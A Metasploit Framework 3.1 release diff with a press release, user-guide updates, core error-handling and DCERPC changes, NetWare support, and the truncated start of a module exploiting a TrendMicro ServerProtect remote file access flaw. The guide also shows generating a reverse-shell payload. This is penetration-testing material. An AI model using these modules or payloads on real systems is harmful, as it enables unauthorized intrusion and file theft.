diff --git a/documentation/RELEASE-3.1.txt b/documentation/RELEASE-3.1.txt new file mode 100644 index 0000000000..503750965f --- /dev/null +++ b/documentation/RELEASE-3.1.txt @@ -0,0 +1,93 @@ + + 888 888 d8b888 + 888 888 Y8P888 + 888 888 888 +88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 +888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 +888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 +888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. +888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 + 888 + 888 + 888 + + + Contact: H D Moore FOR IMMEDIATE RELEASE + Email: hdm[at]metasploit.com + + + METASPLOIT UNLEASHES VERSION 3.1 OF THE METASPLOIT FRAMEWORK + New Version of Attack Framework Ready to Pwn + + + Austin, Texas, January 28th, 2008 -- The Metasploit Project +announced today the free, world-wide availability of version 3.1 of +their exploit development and attack framework. The latest version +features a graphical user interface, full support for the Windows +platform, and over 450 modules, including 265 remote exploits. + + "Metasploit 3.1 consolidates a year of research and development, +integrating ideas and code from some of the sharpest and most innovative +folks in the security research community" said H D Moore, project +manager. Moore is referring the numerous research projects that have +lent code to the framework. + + These projects include the METASM pure-ruby assembler developed by +Yoann Guillot and Julien Tinnes, the "Hacking the iPhone" effort +outlined in the Metasploit Blog, the Windows kernel-land payload +staging system developed by Matt Miller, the heapLib browser +exploitation library written by Alexander Sotirov, the Lorcon 802.11 +raw transmit library created by Joshua Wright and Mike Kershaw, Scruby, +the Ruby port of Philippe Biondi's Scapy project, developed by Sylvain +Sarmejeanne, and a contextual encoding system for Metasploit payloads. +"Contextual encoding breaks most forms of shellcode analysis by +encoding a payload with a target-specific key" said I)ruid, author of +the Uninformed Journal (volume 9) article and developer of the +contextual encoding system included with Metasploit 3.1. + + The graphical user interface is a major step forward for Metasploit +users on the Windows platform. Development of this interface was driven +by Fabrice Mourron and provides a wizard-based exploitation system, a +graphical file and process browser for the Meterpreter payloads, and a +multi-tab console interface. "The Metasploit GUI puts Windows users on +the same footing as those running Unix by giving them access to a +console interface to the framework" said H D Moore, who worked with +Fabrice on the GUI project. + + The latest incarnation of the framework includes a bristling +arsenal of exploit modules that are sure to put a smile on the face of +every information warrior. Notable exploits in the 3.1 release include +a remote, unpatched kernel-land exploit for Novell Netware, written by +toto, a series of 802.11 fuzzing modules that can spray the local +airspace with malformed frames, taking out a wide swath of +wireless-enabled devices, and a battery of exploits targeted at +Borland's InterBase product line. "I found so many holes that I just +gave up releasing all of them", said Ramon de Carvalho, founder of RISE +Security, and Metasploit contributor. + + The Metasploit Framework is used by network security professionals +to perform penetration tests, system administrators to verify patch +installations, product vendors to perform regression testing, and +security researchers world-wide. The framework is written in the Ruby +programming language and includes components written in C and assembler. + + Metasploit runs on all modern operating systems, including Linux, +Windows, Mac OS X, and most flavors of BSD. Metasploit has been used +on a wide range of hardware platforms, from massive Unix mainframes to +the tiny Nokia n800 handheld. Users can access Metasploit using the +tab-completing console interface, the Gtk GUI, the command line scripting +interface, or the AJAX-enabled web interface. The Windows version of +Metasploit includes all software dependencies and a selection of useful +networking tools. + + The latest version of the Metasploit Framework, as well as screen +shots, video demonstrations, documentation and installation +instructions for many platforms, can be found online at + +http://metasploit3.com/ + + + # # # + +If you'd like more information about this topic, or to schedule an +interview with the developers, please email msfdev[at]metasploit.com diff --git a/documentation/users_guide.pdf b/documentation/users_guide.pdf index 5dd44dbba0..15288e6a15 100644 Binary files a/documentation/users_guide.pdf and b/documentation/users_guide.pdf differ diff --git a/documentation/users_guide.tex b/documentation/users_guide.tex index 575e23a10c..ee1610db7e 100644 --- a/documentation/users_guide.tex +++ b/documentation/users_guide.tex @@ -23,7 +23,7 @@ \huge{Metasploit Framework User Guide} \ \\[10mm] - \large{Version 3.0} + \large{Version 3.1} \\[120mm] \small{\url{http://www.metasploit.com/}} @@ -41,7 +41,7 @@ \chapter{Introduction} \par -This is the official user guide for version 3.0 of the Metasploit Framework. This +This is the official user guide for version 3.1 of the Metasploit Framework. This guide is designed to provide an overview of what the framework is, how it works, and what you can do with it. The latest version of this document can be found on the Metasploit Framework web site. @@ -63,7 +63,7 @@ Installing the Framework is as easy as extracting the tarball, changing into the created directory, and executing your preferred user interface. We strongly recommend that you use a version of the Ruby interpreter that was built with support for the GNU Readline library. If you are using the Framework on Mac OS -X, you will need to install GNU Readline and then recompile the Ruby +X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby interpreter. Using a version of Ruby with Readline support enables tab completion of the console interface. The \texttt{msfconsole} user interface is preferred for everyday use, but the \texttt{msfweb} interface can be useful for live demonstrations. @@ -81,28 +81,21 @@ distribution. \label{INSTALL-WIN32} \par -The Metasploit Framework is only partially supported on the Windows platform. If you would like -to access most of the Framework features from Windows, we recommend using a virtualization environment, -such as VMWare, with a supported Linux distribution -\footnote{We highly recommend the BackTrack live CD, available from \url{http://www.remote-exploit.org/}}. If this is not possible, you can also use the -Framework from within Cygwin. To use the Framework from within Cygwin, follow the instructions for -installation on a Unix system. For more information on Cygwin, please see the Cygwin web site at -\url{http://www.cygwin.com/} +The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows, +download the latest version of the Windows installer from \url{http://framework.metasploit.com/}, perform +an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard +\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can +use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer. -To install the Framework on Windows, download the latest version of the Windows installer from -\url{http://framework.metasploit.com/}, perform an online update, and launch the \texttt{msfweb} -interface. Once \texttt{msfweb} is running, access the \url{http://127.0.0.1:55555/} URL from within -your browser. At this time, only Mozilla and Internet Explorer are fully supported. \section{Platform Caveats} \label{INSTALL-CAVEAT} \par -When using the Framework on the Windows platform, keep in mind that \texttt{msfweb} is the only -supported user interface. While \texttt{msfconsole} and \texttt{msfcli} may appear to work, they -are severely limited by the way stdio operations are handled. The result is that all Ruby threads -will block when input is being read from the console. This can prevent most exploits, auxiliary modules, -and plugins from functioning. This problem does not occur within Cygwin. +When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only +supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into +trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules, +and plugins from functioning. This problem does not occur within Cygwin environment. \section{Supported Operating Systems} \label{INSTALL-SUPPORT} @@ -114,21 +107,25 @@ version of the Framework is tested with three primary platforms: \begin{itemize} \item Linux 2.6 (x86, ppc) -\item Windows NT (2000, XP, 2003) -\item MacOS X 10.4 (x86, ppc) +\item Windows NT (2000, XP, 2003, Vista) +\item MacOS X 10.4 (x86, ppc), 10.5 (x86) \end{itemize} +\par +For information about manually installing the framework, including all of the required dependencies needed +to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://framework.metasploit.com/msf/support} + \section{Updating the Framework} \label{INSTALL-UPDATE} \par The Framework can be updated using a standard \texttt{Subversion} client. The -old \texttt{msfupdate} tool is no longer supported. To obtain the latest updates, -change into the Framework installation directory and execute \texttt{svn update}. If -you are accessing the internet through a HTTP proxy server, please see the -Subversion FAQ on proxy access: \url{http://subversion.tigris.org/faq.html#proxy} -If your version of Subversion does not support SSL, execute the following command -to switch to non-SSL HTTP: +old \texttt{msfupdate} tool is no longer supported. Windows users can click on +the Online Update link within the Metasploit 3 program folder on the Start Menu. +To obtain the latest updates on a Unix-like platform, change into the Framework +installation directory and execute \texttt{svn update}. If you are accessing the +internet through a HTTP proxy server, please see the Subversion FAQ on proxy +access: \url{http://subversion.tigris.org/faq.html#proxy} \pagebreak @@ -140,8 +137,8 @@ to switch to non-SSL HTTP: \par After you have installed the Framework, you should verify that everything is working properly The easiest way to do this is to execute the -\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfweb} -interface and access the \texttt{Console} link from within your browser. +\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui} +interface and access the \texttt{Console} link from the Window menu. The console should display an ASCII art logo, print the current version, some module counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of valid commands. You are currently in the "main" mode; this allows you to list @@ -166,6 +163,8 @@ The console startup will similar to the text below. \begin{verbatim} + + o 8 o o 8 8 8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P @@ -177,14 +176,36 @@ ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: - =[ msf v3.0-beta-dev -+ -- --=[ 179 exploits - 104 payloads -+ -- --=[ 18 encoders - 5 nops - =[ 29 aux + =[ msf v3.1-release ++ -- --=[ 263 exploits - 116 payloads ++ -- --=[ 17 encoders - 6 nops + =[ 45 aux msf > \end{verbatim} + \section{The GUI Interface} + \label{STARTED-GUI} + +\par +The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality +of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole} +shell, select the Console option from the Window menu. To search for a module within the +module tree, enter a string or regular expression into the search box and click the button +labeled Find. All matching modules will appear the tree below. To execute a module, +double-click its name in the tree, or right-click its name and select the Execute option. +To view the source code of any module, right-click its name and select the View Code option. + +\par +Once a module is selected, a wizard-based interface will walk you through the process of +configuring and launching the module. In the case of exploit modules, the output from +the module will appear in the main window under the Module Output tab. Any sessions created +by the module will appear in the Sessions view in the main window. To access a session, +double-click the session name in the view, or open a Console and use the \texttt{sessions} +command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked, +but also offer a process and file browser via the right-click context menu. + + \section{The Command Line Interface} \label{STARTED-CLI} @@ -204,23 +225,15 @@ actions, C to try a vulnerability check, and E to exploit. The saved datastore will be loaded and used at startup, allowing you to configure convenient default options in the Global or module-specific datastore of \texttt{msfconsole}, save them, and take advantage of them in the -\texttt{msfcli} interface. +\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface +will also work with auxiliary modules. \section{The Web Interface} \label{STARTED-WEB} \par -The \texttt{msfweb} interface is based on Ruby on Rails. To use this interface, you need to have -the \texttt{rubygems} package and the appropriate version of \texttt{rails} gem. Once -\texttt{rubygems} has been installed, you can get the correct version of \texttt{rails} -with the following command.\footnote{The Windows version already includes the \texttt{rubygems} -and the correct version of \texttt{rails}} - -\begin{verbatim} -$ gem install -v1.2.2 rails -\end{verbatim} - -Once \texttt{rails} is configured, execute \texttt{msfweb} to start up the server. The \texttt{msfweb} +The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface, +execute \texttt{msfweb} to start up the server. The \texttt{msfweb} interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that the service has started. To access the interface, open your browser to the appropriate URL @@ -512,7 +525,8 @@ Using the options supported by the \texttt{generate} command, different formats of a payload can be generated. Some payloads will require options which can be specified through the \texttt{-o} parameter. Additionally, a format to convey the generated payload can be specified through the -\texttt{-t} parameter. +\texttt{-t} parameter. To save the resulting data to a local file, pass the +\texttt{-f} parameter followed by the output file name. \begin{verbatim} msf payload(shell_reverse_tcp) > set LHOST 1.2.3.4 @@ -708,7 +722,7 @@ running with System privileges. \par If there is no interactive user logged into the system or the screen has been locked, the command shell can be used to launch explorer.exe anyways. This can -result in some very confused users when the logon screen also has a start menu. +result in some very confused users when the logon screen also has a Start Menu. If the interactive desktop is changed, either through someone logging into the system or locking the screen, the VNC server will disconnect the client. Future versions may attempt to follow a desktop switch. @@ -796,7 +810,7 @@ use a terminal emulator which limits the functionality available through hostile escape sequences. Please see the Terminal Emulator Security Issues paper below for more information on this topic: -\url{http://www.digitaldefense.net/labs/papers/Termulation.txt} +\url{http://marc.info/?l=bugtraq&m=104612710031920&q=p3} \section{Web Interface} diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 1526076728..f3d07a40ea 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -56,71 +56,83 @@ module Exploit # def self.exploit_simple(exploit, opts) - # Import options from the OptionStr or Option hash. - exploit._import_extra_options(opts) + # Trap and print errors here (makes them UI-independent) + begin - # Make sure parameters are valid. - if (opts['Payload'] == nil) - raise MissingPayloadError, - "You must specify a payload.", caller - end + # Import options from the OptionStr or Option hash. + exploit._import_extra_options(opts) - # Start it up - driver = ExploitDriver.new(exploit.framework) + # Make sure parameters are valid. + if (opts['Payload'] == nil) + raise MissingPayloadError, + "You must specify a payload.", caller + end - # Initialize the driver instance - driver.exploit = exploit - driver.payload = exploit.framework.modules.create(opts['Payload']) + # Start it up + driver = ExploitDriver.new(exploit.framework) - # Set the force wait for session flag if the caller requested force - # blocking. This is so that passive exploits can be blocked on from - # things like the cli. - driver.force_wait_for_session = true if (opts['ForceBlocking'] == true) + # Initialize the driver instance + driver.exploit = exploit + driver.payload = exploit.framework.modules.create(opts['Payload']) - # Was the payload valid? - if (driver.payload == nil) - raise MissingPayloadError, - "You specified an invalid payload: #{opts['Payload']}", caller - end + # Set the force wait for session flag if the caller requested force + # blocking. This is so that passive exploits can be blocked on from + # things like the cli. + driver.force_wait_for_session = true if (opts['ForceBlocking'] == true) - # Use the supplied encoder, if any. If one was not specified, then - # nil will be assigned causing the exploit to default to picking the - # best encoder. - exploit.datastore['ENCODER'] = opts['Encoder'] if opts['Encoder'] + # Was the payload valid? + if (driver.payload == nil) + raise MissingPayloadError, + "You specified an invalid payload: #{opts['Payload']}", caller + end - # Force the payload to share the exploit's datastore - driver.payload.share_datastore(driver.exploit.datastore) + # Use the supplied encoder, if any. If one was not specified, then + # nil will be assigned causing the exploit to default to picking the + # best encoder. + exploit.datastore['ENCODER'] = opts['Encoder'] if opts['Encoder'] - # If we still have no target index, try to use the datastore's index - target_idx = opts['Target'] || exploit.default_target + # Force the payload to share the exploit's datastore + driver.payload.share_datastore(driver.exploit.datastore) - # Convert it to an integer if it's valid - if (target_idx) - target_idx = target_idx.to_i - end + # If we still have no target index, try to use the datastore's index + target_idx = opts['Target'] || exploit.default_target - if (target_idx == nil or target_idx < 0) - raise MissingTargetError, - "You must select a target.", caller - end + # Convert it to an integer if it's valid + if (target_idx) + target_idx = target_idx.to_i + end - driver.target_idx = target_idx + if (target_idx == nil or target_idx < 0) + raise MissingTargetError, + "You must select a target.", caller + end - # Set the payload and exploit's subscriber values - driver.exploit.init_ui(opts['LocalInput'], opts['LocalOutput']) - driver.payload.init_ui(opts['LocalInput'], opts['LocalOutput']) + driver.target_idx = target_idx - if (opts['RunAsJob']) - driver.use_job = true - end + # Set the payload and exploit's subscriber values + driver.exploit.init_ui(opts['LocalInput'], opts['LocalOutput']) + driver.payload.init_ui(opts['LocalInput'], opts['LocalOutput']) - # Let's rock this party - session = driver.run + if (opts['RunAsJob']) + driver.use_job = true + end - # Save the job identifier this exploit is running as - exploit.job_id = driver.job_id + # Let's rock this party + session = driver.run - return session + # Save the job identifier this exploit is running as + exploit.job_id = driver.job_id + + return session + + rescue ::Interrupt + raise $! + rescue ::Exception => e + exploit.print_error("Exploit failed: #{e}") + elog("Exploit failed: #{e}", 'core', LEV_0) + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) + return + end end # diff --git a/lib/msf/core/exploit/dcerpc.rb b/lib/msf/core/exploit/dcerpc.rb index bb099b4750..2f35dabcf7 100644 --- a/lib/msf/core/exploit/dcerpc.rb +++ b/lib/msf/core/exploit/dcerpc.rb @@ -34,7 +34,7 @@ module Exploit::Remote::DCERPC def initialize(info = {}) super - + register_evasion_options( [ OptInt.new('DCERPC::max_frag_size', [ true, 'Set the DCERPC packet fragmentation size', 4096]), @@ -49,8 +49,13 @@ module Exploit::Remote::DCERPC [ Opt::RHOST, Opt::RPORT(135), - ], Msf::Exploit::Remote::DCERPC - ) + ], Msf::Exploit::Remote::DCERPC) + + register_advanced_options( + [ + OptInt.new('DCERPC::ReadTimeout', [ true, 'The number of seconds to wait for DCERPC responses', 0] ) + ], Msf::Exploit::Remote::DCERPC) + end def dcerpc_handle(uuid, version, protocol, opts) @@ -91,8 +96,12 @@ module Exploit::Remote::DCERPC if self.respond_to?('simple') and self.simple opts['smb_client'] = self.simple end - - + + opts['connect_timeout'] = (datastore['ConnectTimeout'] || 10).to_i + + opts['read_timeout'] = (datastore['DCERPC::ReadTimeout'] || 10).to_i + + self.dcerpc = Rex::Proto::DCERPC::Client.new(h, self.sock, opts) if (self.handle.protocol == 'ncacn_np' and not self.simple) @@ -100,16 +109,17 @@ module Exploit::Remote::DCERPC end end - def dcerpc_call(function, stub = '') + def dcerpc_call(function, stub = '', timeout=nil) + otimeout = dcerpc.options['read_timeout'] + begin + dcerpc.options['read_timeout'] = timeout if timeout dcerpc.call(function, stub) rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse print_status("The DCERPC service did not reply to our request") return - rescue ::Exception - raise $! -# print_status("DCERPC Error: #{$!.class.to_s} - #{$!.backtrace.join(" - ")}") -# return + ensure + dcerpc.options['read_timeout'] = otimeout end end diff --git a/lib/msf/core/exploit_driver.rb b/lib/msf/core/exploit_driver.rb index 3fe4a08e4a..412c8487c7 100644 --- a/lib/msf/core/exploit_driver.rb +++ b/lib/msf/core/exploit_driver.rb @@ -111,6 +111,10 @@ class ExploitDriver # - Cleans up the handler # def run + + # Set up the run context + ctx = [ exploit, payload ] + # First thing's first -- validate the state. Make sure all requirement # parameters are set, including those that are derived from the # datastore. @@ -119,7 +123,7 @@ class ExploitDriver # After validation has occurred, it's time to set some values on the # exploit instance and begin preparing the payload exploit.datastore['TARGET'] = target_idx - + # Generate the encoded version of the supplied payload on the exploit # module instance exploit.generate_payload(payload) @@ -127,10 +131,6 @@ class ExploitDriver # Default the session to nil self.session = nil - # Set up the run context - ctx = [ exploit, payload ] - - # If we are being instructed to run as a job then let's create that job # like a good person. if (use_job) @@ -198,7 +198,7 @@ protected payload.stop_handler exploit.cleanup - raise $! + return end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 8b092e4491..b60fc941fb 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -15,7 +15,7 @@ class Framework # Major = 3 Minor = 2 - Release = "-dev" + Release = "-release" Version = "#{Major}.#{Minor}#{Release}" Revision = "$Revision$" diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index e7b094099a..a392104320 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -288,6 +288,14 @@ class Msf::Module::Platform end end + # + # NetWare + # + class Netware < Msf::Module::Platform + Rank = 100 + Alias = "netware" + end + # # Linux # diff --git a/lib/msf/core/module_manager.rb b/lib/msf/core/module_manager.rb index 5c75c675d9..162659fa5b 100644 --- a/lib/msf/core/module_manager.rb +++ b/lib/msf/core/module_manager.rb @@ -899,7 +899,7 @@ protected # Load the file like it aint no thang begin if (!load(file)) - elog("Failed to load from file #{file}.") + elog("Failed to load module from #{file}") return false end rescue NameError @@ -917,6 +917,10 @@ protected rescue LoadError elog("LoadError: #{$!}.") return false + rescue ::Exception => e + elog("Failed to load module from #{file}: #{e.class} #{e}") + self.module_failed[file] = e + return false end added = mod.constants - old_constants diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index cc154a5654..d108a8df45 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -24,6 +24,7 @@ class Payload < Msf::Module require 'msf/core/payload/osx' require 'msf/core/payload/solaris' require 'msf/core/payload/windows' + require 'msf/core/payload/netware' ## # diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index f57db536c9..be2ca5a001 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -227,11 +227,10 @@ protected session, payload_type) - dlog("Selected payload #{actual_payload.refname} from generic payload #{refname}", 'core', LEV_2) - if actual_payload.nil? - raise NoCompatiblePayloadError, "Could not locate a compatible payload for #{actual_platform}/#{actual_arch}" + raise NoCompatiblePayloadError, "Could not locate a compatible payload for #{actual_platform.names.join("/")}/#{actual_arch}" else + dlog("Selected payload #{actual_payload.refname} from generic payload #{refname}", 'core', LEV_2) # Share our datastore with the actual payload so that it has the # appropriate values to substitute ad so on. self.actual_payload.share_datastore(self.datastore) diff --git a/lib/msf/core/payload/netware.rb b/lib/msf/core/payload/netware.rb new file mode 100644 index 0000000000..9b440c6927 --- /dev/null +++ b/lib/msf/core/payload/netware.rb @@ -0,0 +1,33 @@ +require 'msf/core' + +### +# +# This class is here to implement advanced features for netware-based +# payloads. NetWare payloads are expected to include this module if +# they want to support these features. +# +### + +module Msf::Payload::Netware + + def initialize(info = {}) + ret = super(info) + end + + # + # Returns a list of compatible encoders based on architecture + # fnstenv does not work on NetWare + # + def compatible_encoders + encoders = super() + encoders2 = [] + + encoders.each { |encname, encmod| + if (!encname.include?('fnstenv_mov') && !encname.include?('shikata_ga_nai')) + encoders2 << [ encname, encmod ] + end + } + + return encoders2; + end +end diff --git a/lib/msf/core/session/netware_console.rb b/lib/msf/core/session/netware_console.rb new file mode 100644 index 0000000000..5fa1a95484 --- /dev/null +++ b/lib/msf/core/session/netware_console.rb @@ -0,0 +1,103 @@ +require 'msf/base' + +module Msf +module Sessions + +### +# +# This class provides basic interaction with a command shell on the remote +# endpoint. This session is initialized with a stream that will be used +# as the pipe for reading and writing the command shell. +# +### +class NetwareConsole + + # + # This interface supports basic interaction. + # + include Msf::Session::Basic + + # + # This interface supports interacting with a single command shell. + # + include Msf::Session::Provider::SingleCommandShell + + # + # Returns the type of session. + # + def self.type + "shell" + end + + # + # Returns the session description. + # + def desc + "NetWare Console" + end + + # + # Calls the class method. + # + def type + self.class.type + end + + # + # The shell will have been initialized by default. + # + def init_shell + return true + end + + # + # Read from the command shell. + # + def read_shell(length = nil) + return rstream.read(length) + end + + # + # Writes to the command shell. + # + def write_shell(buf) + rstream.write(buf) + end + + # + # Closes the shell. + # + def close_shell() + rstream.close + end + + def _stream_read_remote_write_local(stream) + buf = stream.get + bsize = 25 * 80 +8 + + while buf.length > 0 + data = buf[0, bsize] + + user_output.print("\e[24A") + + for i in 0..24 + user_output.print(data[8+i*80, 80] + "\n") + end + + col = data[4, 2].unpack('v')[0] + line = 25-data[6, 2].unpack('v')[0] + user_output.print("\e[#{line}A") + user_output.print("\e[#{col}C") + + if (buf.length == bsize) + buf = '' + else + buf = buf[bsize, buf.length] + end + end + end + +end + +end +end diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index 73af2651a3..3e1bbc218f 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -124,8 +124,12 @@ class Exploit 'LocalInput' => driver.input, 'LocalOutput' => driver.output, 'RunAsJob' => jobify) - rescue return false + rescue ::Interrupt + raise $! + rescue ::Exception => e + # All exceptions should be handled below this layer + nil end # If we were given a session, let's see what we can do with it diff --git a/lib/msf/ui/gtk2/assistant/exploit.rb b/lib/msf/ui/gtk2/assistant/exploit.rb index f6b45065f0..82609385a4 100644 --- a/lib/msf/ui/gtk2/assistant/exploit.rb +++ b/lib/msf/ui/gtk2/assistant/exploit.rb @@ -525,7 +525,9 @@ module Msf begin @mydriver.run rescue ::Exception => e - nil + @mydriver.exploit.print_error("Exploit failed: #{$!}") + elog("Exploit failed: #{$!}", 'core', LEV_0) + dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) end select(nil, nil, nil, 0.01) @pipe.print_status("Exploit #{@mydriver.exploit.refname} completed.") if not @mydriver.use_job diff --git a/lib/msf/ui/gtk2/assistant/types/bool.rb b/lib/msf/ui/gtk2/assistant/types/bool.rb index 12eafa45d3..2074fba576 100644 --- a/lib/msf/ui/gtk2/assistant/types/bool.rb +++ b/lib/msf/ui/gtk2/assistant/types/bool.rb @@ -29,7 +29,7 @@ module Msf hbox = Gtk::HBox.new(false, 0) self.pack_start(hbox, false, false, 0) - @checkbutton = Gtk::CheckButton.new(self.key) + @checkbutton = Gtk::CheckButton.new(self.key.gsub("_", "__")) hbox.pack_start(@checkbutton, true, true, 0) # Define the CheckButton state diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index d25a15d00e..045b94098c 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -18,7 +18,10 @@ require 'rex/proto/smb/exceptions' self.options = { 'smb_user' => '', 'smb_pass' => '', - 'smb_pipeio' => 'rw' + 'smb_pipeio' => 'rw', + 'smb_name' => nil, + 'read_timeout' => 10, + 'connect_timeout' => 5 } self.options.merge!(useroptions) @@ -63,11 +66,7 @@ require 'rex/proto/smb/exceptions' else raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" end - # don't support ncacn_ip_udp yet - ## when 'ncacn_ip_udp' - ## if self.socket.type? != 'udp' - ## raise "ack, #{self.handle.protocol} requires socket type tcp, not #{self.socket.type?}!" - ## end + # No support ncacn_ip_udp (is it needed now that its ripped from Vista?) else raise "Unsupported protocol : #{self.handle.protocol}" end @@ -75,20 +74,34 @@ require 'rex/proto/smb/exceptions' # Create the appropriate socket based on protocol def socket_setup() - ctx = { 'Msf' => options['Msf'], 'MsfExploit' => options['MsfExploit'] } + ctx = { 'Msf' => self.options['Msf'], 'MsfExploit' => self.options['MsfExploit'] } self.socket = case self.handle.protocol - when 'ncacn_ip_tcp' then Rex::Socket.create_tcp('PeerHost' => self.handle.address, 'PeerPort' => self.handle.options[0], 'Context' => ctx) - when 'ncacn_np' then begin - socket = '' + + when 'ncacn_ip_tcp' + Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => self.handle.options[0], + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) + + when 'ncacn_np' begin - timeout(10) { - socket = Rex::Socket.create_tcp('PeerHost' => self.handle.address, 'PeerPort' => 445, 'Context' => ctx) - } + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 445, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) rescue Timeout::Error, Rex::ConnectionRefused - socket = Rex::Socket.create_tcp('PeerHost' => self.handle.address, 'PeerPort' => 139, 'Context' => ctx) + socket = Rex::Socket.create_tcp( + 'PeerHost' => self.handle.address, + 'PeerPort' => 139, + 'Context' => ctx, + 'Timeout' => self.options['connect_timeout'] + ) end socket - end else nil end @@ -107,8 +120,9 @@ require 'rex/proto/smb/exceptions' end smb.login('*SMBSERVER', self.options['smb_user'], self.options['smb_pass']) - smb.connect('IPC$') + smb.connect("\\\\#{self.handle.address}\\IPC$") self.smb = smb + self.smb.read_timeout = self.options['read_timeout'] end f = self.smb.create_pipe(self.handle.options[0]) @@ -141,13 +155,13 @@ require 'rex/proto/smb/exceptions' if self.socket.type? == 'tcp' if self.options['segment_read'] while (true) - data = self.socket.get_once(rand(5)+5, 10) + data = self.socket.get_once(rand(5)+5, self.options['read_timeout']) break if data == nil break if ! data.length raw_response << data end else - raw_response = self.socket.get_once(-1, 5) + raw_response = self.socket.get_once(-1, self.options['read_timeout']) end else raw_response = self.socket.read(0xFFFFFFFF / 2 - 1) # read max data @@ -252,7 +266,7 @@ require 'rex/proto/smb/exceptions' end # Process a DCERPC response packet from a socket - def self.read_response (socket, timeout=5) + def self.read_response(socket, timeout=self.options['read_timeout']) data = socket.get_once(-1, timeout) @@ -279,7 +293,8 @@ require 'rex/proto/smb/exceptions' # Still missing some data... if (data.length() != resp.frag_len - 10) - $stderr.puts "Truncated DCERPC response :-(" + # TODO: Bubble this up somehow + # $stderr.puts "Truncated DCERPC response :-(" return resp end diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb new file mode 100644 index 0000000000..279e532efb --- /dev/null +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -0,0 +1,413 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf + +class Auxiliary::Admin::Serverprotect::FileAccess < Msf::Auxiliary + + include Exploit::Remote::DCERPC + include Rex::Platforms::Windows + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'TrendMicro ServerProtect File Access', + 'Description' => %q{ + This modules exploits a remote file access flaw in the ServerProtect Windows + Server RPC service. Please see the action list (or the help output) for more + information. + }, + 'DefaultOptions' => + { + 'DCERPC::ReadTimeout' => 300 # Long-running RPC calls + }, + 'Author' => [ 'toto' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2007-6507' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-077.html'], + ], + 'Actions' => + [ + [ 'delete' ], + [ 'download' ], + [ 'upload' ], + [ 'list' ] + ] + )) + + register_options( + [ + Opt::RPORT(5168), + OptString.new('RPATH', + [ + false, + "The remote filesystem path", + nil + ] + ), + OptString.new('LPATH', + [ + false, + "The local filesystem path", + nil + ] + ), + ], self.class) + end + + def check_option(name) + if(not datastore[name]) + raise RuntimeError, "The #{name} parameter is required by this option" + end + end + + def auxiliary_commands + { + "delete" => "Delete a file", + "download" => "Download a file", + "upload" => "Upload a file", + "list" => "List files (not recommended - will crash the driver)", + } + end + + def run + case action.name + when 'download' + check_option('RPATH') + check_option('LPATH') + 